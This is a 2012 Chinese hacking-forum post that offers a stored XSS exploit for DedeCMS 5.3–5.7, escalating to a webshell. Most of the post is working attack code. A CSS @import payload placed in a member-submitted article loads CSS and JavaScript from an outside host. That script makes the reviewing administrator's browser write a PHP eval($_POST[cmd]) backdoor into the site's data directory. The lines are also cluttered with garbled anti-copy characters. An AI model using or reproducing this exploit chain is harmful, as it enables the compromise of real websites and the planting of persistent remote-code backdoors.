找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2041|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell/ q" H. x  s4 j( ?' S
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)6 m) P+ f5 O& r# V* c% t: G
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。2 \0 M$ @6 a, _. _4 e8 q
下面说说利用方法。
" ?/ ?. B% D; E$ Q) @  m条件有2个:; \$ r+ G% b! k
1.开启注册6 s  c. {$ k. s- Y0 ^
2.开启投稿* A; A0 o3 |' a) L
注册会员----发表文章4 f. B9 l9 S+ t3 M) n$ ]
内容填写:, s) @* ^: F1 ^. _- N/ a
复制代码4 g$ C% ]1 d2 x6 p8 O) x
<style>@im\port'\http://xxx.com/xss.css';</style>: S  E* W6 _3 j- `$ K
新建XSS.Css0 i+ c) i3 h. v+ X# L
复制代码
, B" L) l. X- N# H( ]3 ]8 f.body{
6 }; U7 F1 |) f% j2 ybackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
$ f9 w2 C7 K# J9 B7 R4 U3 t新建xss.js 内容为" @# X  T+ j. d; N: s  ^7 Z
复制代码
; y8 i9 Q5 J$ z, q* u0 O1.var request = false;' S/ @$ q- s# k  P) }$ e, e
2.if(window.XMLHttpRequest) {0 I- Q* s2 M0 @0 n
3.request = new XMLHttpRequest();
4 b4 B' ^2 i5 a; B/ V7 W. ?, S( }4.if(request.overrideMimeType) {$ Q1 X) D# x' D" _! [; l* X
5.request.overrideMimeType('text/xml');
% a( A! l# j  h6 e5 ?8 A6.}7 I: K: G3 S0 Y
7.} else if(window.ActiveXObject) {  o) s1 N/ U: w9 k* |) Y
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. `! X6 a( z0 r' U9.for(var i=0; i<versions.length; i++) {
+ h8 v2 O" `$ _; l5 I1 J; G10.try {
0 w0 G  T' v( u. f" ~' C3 j11.request = new ActiveXObject(versions);
. N! ?  Z; M  Y/ B12.} catch(e) {}
% D  ~( a9 @7 N13.}
6 r0 m% J9 D0 F- q. n( S14.}
. D& n: A3 ]  ^/ u# ?% V( }15.xmlhttp=request;& X; E* Y+ L) ?" b3 @9 @
16.function getFolder( url ){
, ~% e% R# `* v& ]) }9 E17. obj = url.split('/')3 N  I; H/ Q, x$ }
18. return obj[obj.length-2]
  K% s7 m4 L$ g/ d9 j) A3 e19.}
8 K. x: o4 W: a( P20.oUrl = top.location.href;1 r3 H: w, g2 X
21.u = getFolder(oUrl);3 S) b: \2 H# k3 ?% g
22.add_admin();* u- d' p( H1 H0 k3 u2 H
23.function add_admin(){/ g( e/ P: [2 c$ |4 ~
24.var url= "/"+u+"/sys_sql_query.php";! u. E9 }( o) l0 D
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";4 p) [; {' a" x% m
26.xmlhttp.open("POST", url, true);
( u7 d, P0 E2 i2 ?. n3 F& l1 J27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
" R2 i. L4 \) K1 P28.xmlhttp.setRequestHeader("Content-length", params.length);
1 {" D1 N8 B; T; w29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
# g' l# B# U6 W6 X; d; z8 _30.xmlhttp.send(params);2 ]& ~' c1 Q1 L6 x6 R4 y
31.}) C+ o7 F4 z( P# x3 w/ }, N2 K
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表